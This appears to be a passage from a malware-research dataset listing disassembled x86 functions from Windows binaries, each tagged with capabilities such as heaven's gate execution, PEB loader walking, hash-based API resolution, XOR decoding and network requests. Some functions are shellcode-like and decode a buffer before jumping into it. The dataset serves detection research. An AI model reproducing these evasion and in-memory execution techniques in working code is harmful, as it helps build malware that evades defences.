joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000a5b2
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
cmp dword [0x29216a8], 0
push ebx
push esi
push edi
jne 0x1000a5cd
xor eax, eax
xor edx, edx
jmp 0x1000a714
mov esi, dword [ebp + 0x10]
lea edx, [ebp + 0x14]
test esi, esi
jle 0x1000a5ec
mov eax, dword [ebp + 0x14]
lea edx, [ebp + 0x1c]
mov ecx, dword [ebp + 0x18]
dec esi
mov dword [ebp + 0x10], esi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], ecx
jmp 0x1000a5f4
xorps xmm0, xmm0
movlpd qword [ebp - 0x14], xmm0
mov ecx, edx
test esi, esi
jle 0x1000a60e
dec esi
add edx, 8
mov dword [ebp + 0x10], esi
mov eax, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], ecx
jmp 0x1000a616
xorps xmm0, xmm0
movlpd qword [ebp - 0x1c], xmm0
mov ecx, edx
test esi, esi
jle 0x1000a630
dec esi
add edx, 8
mov dword [ebp + 0x10], esi
mov eax, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], ecx
jmp 0x1000a638
xorps xmm0, xmm0
movlpd qword [ebp - 0x24], xmm0
mov ecx, edx
test esi, esi
jle 0x1000a652
dec esi
add edx, 8
mov dword [ebp + 0x10], esi
mov eax, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], ecx
jmp 0x1000a65a
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
and dword [ebp - 8], 0
mov eax, edx
and dword [ebp - 0xc], 0
xorps xmm0, xmm0
cdq
mov dword [ebp - 0x44], eax
mov eax, esi
mov dword [ebp - 0x40], edx
cdq
movlpd qword [ebp - 0x3c], xmm0
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], edx
mov word [ebp - 0xc], fs
mov eax, 0x2b
mov fs, ax
mov dword [ebp - 8], esp
and esp, 0xfffffff0
push 0x33
call fcn.1000a695
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000a719
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov ecx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], 0x17
mov dword [ebp - 8], 0x291bbb4
push ebx
push esi
push edi
test ecx, ecx
jne 0x1000a742
test eax, eax
jne 0x1000a742
xor al, al
jmp 0x1000a7a0
mov byte [ebp - 1], 0
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], eax
push 0x33
call fcn.1000a753
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000a7a5
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5dc
cmp dword [0x29216a8], 0
push ebx
push esi
push edi
je 0x1000aace
xorps xmm0, xmm0
movlpd qword [ebp - 0x20], xmm0
push 0x33
call fcn.1000a7cd
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000ab14
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b4
push ebx
push esi
push edi
call fcn.1000aaee
xor ecx, ecx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], edx
cmp eax, ecx
jne 0x1000ab39
cmp edx, ecx
je 0x1000aec8
lea ecx, [ebp - 0xa8]
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], edx
push 0x33
call fcn.1000ab4f
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10015efc
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov eax, 0x5a4d
mov dword [esi + 0x20], edi
cmp word [edi], ax
jne 0x10015ffc
mov eax, dword [edi + 0x3c]
add eax, edi
cmp dword [eax], 0x4550
jne 0x10015ffc
movzx ecx, word [eax + 4]
mov edx, 0x14c
cmp cx, dx
jne 0x10015f95
mov dword [esi + 0x40], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x24], eax
push dword [eax + 0x54]
push edi
call fcn.10003ed4
mov ecx, dword [esi + 0x24]
and dword [ebp + 8], 0
movzx eax, word [ecx + 0x14]
lea ebx, [ecx + 0x18]
add ebx, eax
xor eax, eax
cmp ax, word [ecx + 6]
jae 0x10015ff4
sub esp, 0x30
mov ecx, esp
push ecx
push ebx
push edi
call fcn.10016702
lea ecx, [esi + 0x2c]
call fcn.10016005
mov eax, dword [esi + 0x24]
add ebx, 0x28
mov ecx, dword [ebp + 8]
inc ecx
mov dword [ebp + 8], ecx
movzx eax, word [eax + 6]
cmp ecx, eax
jl 0x10015f69
jmp 0x10015ff4
mov edx, 0x8664
cmp cx, dx
jne 0x10015ff4
xor ebx, ebx
mov dword [esi + 0x28], eax
mov dword [esi + 0x40], ebx
lea ecx, [esi + 0x18]
push dword [eax + 0x54]
push edi
call fcn.10003ed4
mov ecx, dword [esi + 0x28]
xor edx, edx
movzx eax, word [ecx + 0x14]
add eax, 0x18
add eax, ecx
mov dword [ebp + 8], eax
cmp dx, word [ecx + 6]
jae 0x10015ff4
sub esp, 0x30
mov ecx, esp
push ecx
push eax
push edi
call fcn.10016702
lea ecx, [esi + 0x2c]
call fcn.10016005
mov ecx, dword [esi + 0x28]
inc ebx
mov eax, dword [ebp + 8]
add eax, 0x28
mov dword [ebp + 8], eax
movzx ecx, word [ecx + 6]
cmp ebx, ecx
jl 0x10015fca
xor eax, eax
inc eax
mov dword [esi + 0x3c], eax
jmp 0x10015ffe
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret 4

Function at 0x1001614e
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x10016169
mov edx, dword [ecx + 0x3c]
xor eax, eax
add edx, ecx
cmp dword [edx], 0x4550
cmove eax, edx
ret
xor eax, eax
ret

Function at 0x100161e2
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0x30]
push ebx
push esi
push edi
mov esi, dword [eax + 0xc]
add esi, 0x14
mov ecx, dword [esi]
jmp 0x1001622d
mov ebx, dword [ecx + 0x28]
mov edx, 0x291bba0
movzx eax, word [ebx]
mov edi, eax
test ax, ax
je 0x1001622b
sub ebx, edx
movzx eax, word [edx]
test ax, ax
je 0x1001622b
cmp ax, di
ja 0x1001622b
jb 0x1001622b
add edx, 2
movzx eax, word [ebx + edx]
mov edi, eax
test ax, ax
jne 0x10016209
cmp word [edx], ax
je 0x10016237
mov ecx, dword [ecx]
cmp ecx, esi
jne 0x100161f5
xor eax, eax
pop edi
pop esi
pop ebx
ret
mov eax, dword [ecx + 0x10]
jmp 0x10016233
Function at 0x1001759d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
push 0x800
mov dword [ebp - 4], ecx
call fcn.10001c00
mov esi, 0x291d4f0
mov dword [ebp - 8], eax
pop ecx
mov edx, eax
sub esi, eax
mov edi, 0x601
mov cl, byte [esi + edx]
xor cl, 0x45
mov byte [edx], cl
inc edx
sub edi, 1
jne 0x100175c5
lea ecx, [ebp - 0xc]
push ecx
push 0x40
push 0x7d0
push eax
call dword [0x291b1dc]
push 0x40
push 0x1000
push 0x1fe
push edi
call dword [0x291b0c8]
mov ebx, eax
push 0x104
push ebx
call dword [0x291b1e8]
push ebx
call dword [0x291b21c]
push 0xa
pop ecx
push 0
push 0
push dword [ebp - 4]
lea edi, [ebx + eax*2]
mov esi, 0x291e748
mov eax, dword [ebp - 8]
rep movsd dword es:[edi], dword [esi]
push ebx
add eax, 0xef
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401825
Capabilities:
Resolve function by parsing pe exports

Disassembly:
xor edi, edi
mov esi, dword [edx + 0x28]
movzx ecx, word [edx + 0x26]
nop
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
nop
jmp 0x401831
jl 0x40183c
sub al, 0x20
jmp 0x40183c
nop
ror edi, 0xd
add edi, eax
dec ecx
jne 0x401826
push edx
nop
mov edx, dword [edx + 0x10]
push edi
mov eax, dword [edx + 0x3c]
add eax, edx
nop
mov eax, dword [eax + 0x78]
test eax, eax
je 0x4018ae
add eax, edx
mov ecx, dword [eax + 0x18]
push eax
mov ebx, dword [eax + 0x20]
add ebx, edx
test ecx, ecx
je 0x4018ad
xor edi, edi
dec ecx
nop
mov esi, dword [ebx + ecx*4]
add esi, edx
xor eax, eax
nop
ror edi, 0xd
nop
lodsb al, byte [esi]
add edi, eax
nop
jmp 0x40187f
cmp al, ah
jne 0x401870
add edi, dword [ebp - 8]
cmp edi, dword [ebp + 0x24]
jne 0x401863
pop eax
mov ebx, dword [eax + 0x24]
add ebx, edx
nop
mov cx, word [ebx + ecx*2]
mov ebx, dword [eax + 0x1c]
add ebx, edx
mov eax, dword [ebx + ecx*4]
add eax, edx
mov dword [esp + 0x24], eax
pop ebx
pop ebx
popal
pop ecx
pop edx
push ecx
nop
jmp eax
pop eax
pop edi
pop edx
nop
mov edx, dword [edx]
jmp 0x40181c

Function at 0x401915
Capabilities:
Access peb ldr_data

Disassembly:
pop esi
nop
repne movsb byte es:[edi], byte [esi]
call 0x401915
nop
jmp 0x4018f0
nop
mov ebx, 0xa2a1de0
push 0x9dbd95a6
nop
call ebp
cmp al, 6
jl 0x40190c
cmp bl, 0xe0
jne 0x40190c
mov ebx, 0x6f721347
push 0
push ebx
call ebp
jmp 0x401915
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
push 0x160d6838
call ebp
pop eax
pop eax
popal
jmp 0x401a28
fldpi
wait
fnstenv [esp - 0xc]
xor edx, edx
mov dl, 0x77
xor ecx, ecx
mov esi, dword fs:[ecx + 0x30]
mov esi, dword [esi + 0xc]
mov esi, dword [esi + 0x1c]
mov eax, dword [esi + 8]
mov edi, dword [esi + 0x20]
mov esi, dword [esi]
cmp byte [edi + 0x18], cl
jne 0x401a3f
pop ecx
add ecx, edx
jmp ecx
Function at 0x40192c
Capabilities:
Access peb ldr_data
Encode data using xor

Disassembly:
call fcn.004018df
and sp, 0xfffc
xor esi, esi
mov esi, dword fs:[esi + 0x30]
mov esi, dword [esi + 0xc]
mov esi, dword [esi + 0x1c]
push esi
mov si, 0x1aaa
pop edi
mov ebp, dword [edi + 8]
push dword [edi]
mov ebx, dword [ebp + 0x3c]
mov ebx, dword [ebp + ebx + 0x78]
add ebx, ebp
mov ecx, dword [ebx + 0x18]
jcxz 0x401947
mov edi, dword [ebx + 0x20]
add edi, ebp
mov edi, dword [edi + ecx*4 - 4]
add edi, ebp
xor eax, eax
cdq
xor dl, byte [edi]
ror dx, 1
scasb al, byte es:[edi]
jne 0x40196a
dec ecx
cmp dx, si
je 0x401981
jcxz 0x401947
jmp 0x40195c
mov esi, dword [ebx + 0x24]
add esi, ebp
movzx esi, word [esi + ecx*2]
mov eax, dword [ebx + 0x1c]
add eax, ebp
mov edi, dword [eax + esi*4]
add edi, ebp
xor esi, esi
cmp dx, 0xf0da
je 0x4019b8
cmp dx, 0x2769
je 0x4019c4
push 0x32
push 0x33656c6f
push esp
call edi
xchg ebp, eax
mov si, 0xf0da
jmp 0x40194d
push esi
call edi
mov si, 0x2769
jmp 0x40194d
push 0xd422046e
push 0x99efeca1
push 0x499272b9
push 0x6c44df74
mov eax, esp
push 0x9673794f
push 0xc001e39e
dec dword [esp + 2]
push 0x11d23391
push 0x96749377
mov ebx, esp
push esi
push esp
push eax
push 0x17
push esi
push ebx
call edi
pop ebx
push 0x5520676f
push 0x7420706f
push 0x686e6421
xchg esi, eax
mov esi, esp
push eax
lodsb al, byte [esi]
push ax
cmp al, 0x55
jne 0x401a11
mov ecx, esp
xor eax, eax
push eax
push eax
push ecx
push ebx
mov edx, dword [ebx]
mov ecx, dword [edx + 0x50]
call ecx
int3
Function at 0x401460
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x40147b
pop edi
pop ebx
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x4014b2
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
add eax, esi
and ecx, 0xf
jbe 0x4014ae
jmp 0x4014a0
cmp esi, eax
jae 0x4014b2
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x4014a0
cmp esi, eax
jb 0x4014b9
pop esi
pop edi
xor eax, eax
pop ebx
pop ebp
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x404020
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x51df1e
mov eax, dword fs:[0]
push eax
sub esp, 0x19c
mov eax, dword [0x575e34]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 0x1a8], ebx
push str.0.0.0.0
lea ecx, [ebp - 0x1a4]
mov dword [ebp - 4], ebx
call fcn.00402b10
lea eax, [ebp - 0x1a0]
push eax
push 0x202
mov byte [ebp - 4], 1
call dword [sym.imp.WS2_32.dll_WSAStartup]
cmp eax, ebx
je 0x404093
push str.0.0.0.0
mov ecx, esi
call fcn.00402b10
jmp 0x404108
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, ebx
je 0x4040f1
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
mov eax, dword [eax]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
lea ecx, [ebp - 0x1a8]
call fcn.00402b10
push eax
lea ecx, [ebp - 0x1a4]
mov byte [ebp - 4], 2
call fcn.00402080
mov eax, dword [ebp - 0x1a8]
add eax, 0xfffffff0
mov byte [ebp - 4], 1
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4040f1
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [ebp - 0x1a4]
add eax, 0xfffffff0
push eax
call fcn.00401b40
add esp, 4
add eax, 0x10
mov dword [esi], eax
mov eax, dword [ebp - 0x1a4]
add eax, 0xfffffff0
or edx, 0xffffffff
lea ecx, [eax + 0xc]
mov byte [ebp - 4], bl
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40412d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffff0
or edx, 0xffffffff
lea ecx, [eax + 0xc]
mov dword [ebp - 4], edx
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40414f
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00505abd
mov esp, ebp
pop ebp
ret
Function at 0x405b6e
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x575e34]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 0x800
mov eax, dword [ebp + 8]
push esi
mov dword [ebp - 0x11c], eax
mov esi, ecx
lea eax, [ebp - 0x120]
jne 0x405bb6
push 0x52de78
push 4
push eax
call fcn.0050635d
push eax
call fcn.004054fc
add esp, 0x10
jmp 0x405bcc
push 4
push eax
push 3
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
je 0x405c4f
push edi
call fcn.00506d9e
mov edi, dword [eax]
call fcn.00506d9e
and dword [eax], 0
lea eax, [ebp - 0x120]
push eax
push dword [ebp - 0x11c]
lea eax, [ebp - 0x118]
push esi
push 0x111
mov esi, 0x112
push esi
push eax
call fcn.00506d3b
add esp, 0x18
mov dword [ebp - 0x11c], eax
call fcn.00506d9e
cmp dword [eax], 0
je 0x405c23
call fcn.00506d9e
push dword [eax]
call fcn.00405528
pop ecx
jmp 0x405c2a
call fcn.00506d9e
mov dword [eax], edi
cmp dword [ebp - 0x11c], 0xffffffff
pop edi
je 0x405c4f
cmp dword [ebp - 0x11c], esi
jae 0x405c4f
push 0
push 0
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
jmp 0x405c51
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00505abd
leave
ret
Function at 0x405c5e
Capabilities:
Identify system language via api

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x144
mov eax, dword [0x575e34]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 0x144], eax
mov eax, dword [ebp + 0xc]
push edi
push str.KERNEL32.DLL
mov dword [ebp - 0x13c], eax
xor esi, esi
call fcn.00405a46
pop ecx
cmp eax, esi
je 0x405d48
push str.GetThreadPreferredUILanguages
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, esi
je 0x405d48
xor eax, eax
push 0xc8
mov word [ebp - 0xd0], ax
lea eax, [ebp - 0xce]
push esi
push eax
mov dword [ebp - 0x140], esi
call fcn.00506fe0
add esp, 0xc
lea eax, [ebp - 0x138]
push eax
lea eax, [ebp - 0xd0]
push eax
lea eax, [ebp - 0x140]
push eax
push 0x34
mov dword [ebp - 0x138], 0x65
call edi
test eax, eax
je 0x405d48
lea edi, [ebp - 0xd0]
cmp word [ebp - 0xd0], si
je 0x405d48
cmp esi, 0x14
jge 0x405d48
push 0x10
push 0
push edi
call fcn.00506fc4
mov ebx, eax
add esp, 0xc
test ebx, ebx
je 0x405d37
call fcn.00506d9e
cmp dword [eax], 0x22
je 0x405d37
mov dword [ebp + esi*4 - 0x134], ebx
inc esi
push edi
call fcn.00506de7
lea edi, [edi + eax*2 + 2]
cmp word [edi], 0
pop ecx
jne 0x405d0d
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
mov edi, dword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
movzx eax, ax
mov ecx, eax
and ecx, 0x3ff
mov ebx, 0xfc00
and eax, ebx
or eax, ecx
push eax
mov dword [ebp - 0x138], ecx
call edi
push dword [ebp - 0x138]
mov dword [ebp + esi*4 - 0x134], eax
call edi
mov dword [ebp + esi*4 - 0x130], eax
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
movzx eax, ax
mov ecx, eax
and ecx, 0x3ff
and eax, ebx
or eax, ecx
push eax
mov dword [ebp - 0x138], ecx
call edi
push dword [ebp - 0x138]
mov dword [ebp + esi*4 - 0x12c], eax
call edi
mov dword [ebp + esi*4 - 0x128], eax
add esi, 4
cmp dword [0x5773fc], 0
jne 0x405dd3
mov dword [ebp + esi*4 - 0x134], 0x800
inc esi
xor edi, edi
test esi, esi
jle 0x405dfc
push dword [ebp + edi*4 - 0x134]
mov ecx, dword [ebp - 0x144]
push dword [ebp - 0x13c]
call fcn.00405b6e
pop ecx
pop ecx
test eax, eax
jne 0x405dfe
inc edi
cmp edi, esi
jl 0x405dd9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00505abd
leave
ret 8

Function at 0x40eda9
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x40edf0
call fcn.0041b2e6
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x40edf0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x40ee0c
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.0040e8ae
mov esi, eax
test edi, edi
je 0x40ee0a
test ebx, ebx
je 0x40ee0a
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x40f287
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x40f2cf
call fcn.0041b2e6
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x40f2cf
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x40f312
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x40f2fb
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x40f2fb
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x68], 0
je 0x40f30f
mov ecx, dword [esi + 0x68]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x4118e2
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor ebx, ebx
call fcn.0041b2e6
mov esi, dword [eax + 0xc]
push 5
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x41191b
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov ecx, dword [ebp - 4]
push esi
push dword [ebp + 0xc]
push ebx
call fcn.00411524
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 8

Function at 0x411979
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x78], ebx
test ebx, 0xffff0000
jne 0x41199d
cmp dword [edi + 0x74], 0
jne 0x41199d
movzx eax, bx
mov dword [edi + 0x74], eax
call fcn.0041b2e6
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.0041193a
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x4184a4
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x5236c6
call fcn.005063bc
mov esi, ecx
cmp dword [esi + 0x6c], 0
jne 0x4184c9
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x41851b
call fcn.0041b4af
push eax
lea ecx, [ebp - 0x10]
call fcn.00401a30
mov ecx, dword [esi + 0x6c]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00508c4b
push eax
call fcn.004054fc
add esp, 0x14
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00401510
mov eax, esi
call fcn.00506494
ret 8

Function at 0x41bca1
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push dword [ebp + 0xc]
mov ecx, esi
call fcn.0041b960
cmp dword [esi], 0
mov edi, eax
mov dword [esi + 0xc], 1
je 0x41bceb
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.0040ceee
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.00407cd2
jmp 0x41bcf6
mov eax, dword [ebp + 0x10]
push dword [eax]
push edi
call fcn.00420ce8
pop edi
pop esi
pop ebp
ret 0xc
Function at 0x41bcfc
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov ecx, dword [esi + 4]
lea eax, [ebp + 8]
push eax
push dword [ebp + 0xc]
call fcn.00417d96
push 0xfffffffffffffff0
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowLongA]
push dword [ebp + 0xc]
and eax, 3
mov ecx, esi
cmp al, 3
je 0x41bd39
call fcn.0041b960
mov dword [esi + 0xc], 1
jmp 0x41bd3e
call fcn.0041b960
cmp dword [esi], 0
je 0x41bd87
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
test eax, eax
jle 0x41bd5f
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.0040ceee
jmp 0x41bd71
mov ecx, dword [ebp + 0x10]
push 0xff
call fcn.00401c10
push pe_nt_image_headers32
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.00407cd2
jmp 0x41bdab
mov esi, dword [ebp + 0x10]
push dword [esi]
push 0xffffffffffffffff
push 0x14d
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SendMessageA]
cmp eax, 0xffffffff
jne 0x41bdab
push dword [esi]
push dword [ebp + 8]
call fcn.00420ce8
pop esi
pop ebp
ret 0xc

Function at 0x41df53
Capabilities:
Create http request

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push esi
mov esi, ecx
and dword [esi + 0x10], 0
and dword [esi + 0xc], 0
mov dword [esi + 4], eax
mov eax, dword [ebp + 8]
mov dword [esi], vtable.CInternetSession.0
test eax, eax
jne 0x41df7e
call fcn.0041b2e6
mov eax, dword [eax + 0x10]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [esi + 8], eax
test eax, eax
jne 0x41dfa1
push eax
push dword [esi + 4]
call fcn.0041ded9
push esi
push eax
mov ecx, 0x578fd0
call fcn.0041dba3
mov eax, esi
pop esi
pop ebp
ret 0x18

Function at 0x41f11d
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x575e34]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, 0x105
push esi
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jne 0x41f152
xor eax, eax
jmp 0x41f1a5
lea eax, [ebp - 0x210]
push eax
call fcn.00506de7
cmp word [ebp + eax*2 - 0x212], 0x5c
pop ecx
je 0x41f183
push 0x530030
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.00509ce4
add esp, 0xc
test eax, eax
jne 0x41f14e
push edi
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.00509ce4
add esp, 0xc
test eax, eax
jne 0x41f14e
lea eax, [ebp - 0x210]
push eax
call fcn.0040a413
pop ecx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00505abd
leave
ret

Function at 0x4562a0
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push esi
mov esi, ecx
call fcn.004dd2ae
call fcn.0041ad17
cmp dword [eax + 0x14], 0
jne 0x4562bd
mov ecx, esi
pop esi
jmp fcn.00455da5
pop esi
ret